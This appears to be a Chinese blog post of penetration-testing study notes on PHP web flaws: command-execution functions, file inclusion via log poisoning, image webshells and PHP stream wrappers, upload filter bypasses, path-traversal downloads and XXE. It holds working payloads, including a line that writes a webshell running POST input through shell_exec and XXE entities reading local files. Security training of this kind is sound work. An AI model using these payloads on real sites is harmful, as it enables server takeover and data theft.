PHP文件包含/上传/下载/XXE/漏洞

命令执行

     
1.系统命令执行
    system('whoami')  
    passthru('whoami') 
    echo exec('whoami')  //只有这个只能回显一行
    echo shell_exec('whoami') 
     
    //``
    $a=$_POST['a']
    echo `$a`
     
    //popen
    $handle = popen($_POST['a'], 'r');
    while (!feof($handle)) {
        $output = fgets($handle);
        echo $output;
    }
2.php代码执行
     eval('phpinfo();')
     assert('phpinfo()')
    
3.文件读取
file_get_contents(),highlight_file(),fopen(),readfile(),
fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()4.PHP代码执行的危险函数
 call_user_func() call_user_func_array()
 create_function() array_map()

文件包含漏洞


前提
1.php.ini开启  
allow_url_fopen=On   开启本地文件包含传参功能: include $_GET['a']比如a=/opt/xx.ini
allow_url_include=On 开启远程文件包含传参功能: $_GET['a']比如a=http://xx/xx.txt
xx.txt内容输出的页面源代码应为一句话木马
2.后端 include($_GET['a']);支持相对路径 
    require()require_once()include()include_once()//日志包含    
a=/var/logs/apache/access_log  
    //日志通过burp发送请求生成
    // GET /xxx/<?php\r\nphpinfo();?> HTTP/1.1  推荐用\r\n代替空格不然日志会截断空格
    // GET /xxx/'<?php phpinfo();?>’ HTTP/1.1 用引号包裹也可以写入日志
a=
  /var/log/secure  //ssh安全登录日志,一般web用户无法读取
  /var/log/auth.log // linux日志登录日志
  /etc/my.cnf
//图片马包含
cmd
    copy xx.jpg// + xx.php  muma.jpg
    在muma.php头部 添加 GIF98a 然后重命名为muma.gif也可以
a=temp/muma.jpg  
//session包含
    apache的php 默认session命名 sess_76dl8cf3i15ovfi1ujurholth8
    浏览器cookie为PHPSESSID=76dl8cf3i15ovfi1ujurholth8
    sess_76dl8cf3i15ovfi1ujurholth8  
    
a=
../../../../
echo __FILE__;
echo show_source(__FILE__);
写木马
file_put_contents('./muma.php','<?php phpinfo();?>') file_put_contents('./muma.php','<?php echo shell_exec($_POST['."'a'".']);?>')?>
PHP伪协议php://input  data:// 

    
// PHP伪协议          搭配包含漏洞
    
file:// 	— 访问本地文件系统, 要求绝对路径
	a=file://C:/xampp/htdocs/xlk/inject_web/woniu/ddd.php
http://		 — 访问 HTTP(s) 网址
    http://example.com
    http://example.com/file.php?var1=val1&var2=val2
    http://user:password@example.com
    https://example.com
    https://example.com/file.php?var1=val1&var2=val2
    https://user:password@example.com
ftp:// 		— 访问 FTP(s) URLs
    ftp://example.com/pub/file.txt
    ftp://user:password@example.com/pub/file.txt
    ftps://example.com/pub/file.txt
    ftps://user:password@example.com/pub/file.txt
php:// 		— 访问各个输入/输出流(I/O streams)
   	php://input
		post内容 <?php phpinfo()?>;
				<?php echo __FILE__;?> 输出为php://input 和母包含文件不同
	php://output
		是一个只写的数据流, 允许你以 printecho 一样的方式 写入到输出缓冲区
	php://filter 
		以base64读取源码文件,支持相对路径
		php://filter/read/convert.base64-encode/resource=../common.php
		
data:// 	— 数据(RFC 2397)
    data://text/html,<?php phpinfo();?> 
    data://text/plain, <?php echo __FILE__;?> 输出为data://text/plain,和母包含文件不同
	data://text/html;base64,PD9waHAgcGhwaW5mbygpOz 即<?php phpinfo();

glob:// 	— 查找匹配的文件路径模式
phar:// 	— PHP 归档 最左侧是相对路径
	phar://temp/shell.zip/shell.php
ssh2:// 	— Secure Shell 2
    ssh2.shell://user:pass@example.com:22/xterm
    ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
    ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
    ssh2.sftp://user:pass@example.com:22/path/to/filename

文件上传漏洞

后端
    $_FILES['name属性值']['name']  //burp传来的文件名
    $_FILES['name属性值']['tmp_name']  // 临时路径/php283a.tmp
    临时文件存活时间取决于后台php脚本文件运行的时间
    $_FILES['name属性值']['type']  // 文件类型burp的content-type 后缀名
	move_uploaded_file('源路径','目的路径')
    getimagesize() 是会检测字节流的图片控制位获取像素MIME等信息,不能只改文本文件的后缀名
	二次渲染图片    imagecreatefromjpeg()
    
绕过
    1.到burp在修改后缀名 
    .pHP
    .php.
    .php. .
    .php\r\n 
    .php\r\n.jpg
    .php%00.jpg
    .php空格    linux 支持文件尾有空格 Windows自动清除  
    .php::$DATA   Windows 
    //前提httpd.conf的AddType application/x-httpd-php
    .php .phtml .php3 .php4  .php5 .php4 .php3 .php2 .htaccess .user.ini
    2.修改Content-Type
    3.图片马,搭配包含漏洞; 或者GIF98a开头.gif 
    4.后缀名改为 xx.php.jpg  httpd.conf默认会依次解析后缀名
    5.二次渲染绕过:把渲染过的图片下载下来再找合适的位置插入代码即可,再重新上传
    6. .htacess和.user.ini 控制器配置
    7.白盒测试条件竞争


文件下载漏洞

前提路径用户可控,未过滤..
后端
//获取文件名或者路径
$file_path =$_GET['filename'];I
//设置响应头为附件下载而非内容读取
Header("Content-type:application/octet-stream");
//知道下载的文件名,不指定默认为访问页面的文件名
Header("Content-Disposition:attachment;filename=".basename($file_path));
//向页面输出文件内容
echo file_get_contents($file_path);


../../../../../../root/.xxx   可以目录穿越
~/.xxx

XXE

内部实体包含
<?xml version ="1.0"?>
<!DOCTYPE note [<!ENTITY cc "aa">]>
<na>&cc;</na>


外部实体包含
<?xml version ="1.0"?>
<!DOCTYPE ANY [<!ENTITY cc SYSTEM "file:///C:/Users/Administrator/Desktop/xx.txt">]>
<na>&cc;</na>

有些服务器接收到外部实体的数据注入后,
便会执行 file:///C://Windows//win.ini读取后放入<x></x>标签
有可能回显到浏览器

支持协议:file:// http:// php:filter://read=convert.base64-encode/resource=

外部实体关键字 SYSTEM/PUBLIC
<!ENTITY cc PUBLIC 'PUBLIC_ID' 'URL'>同上

敏感信息泄露

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
    -- 通过访问url下的目录,可以直接列出目录下的文件列表;
    -- 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
    -- 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
    因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值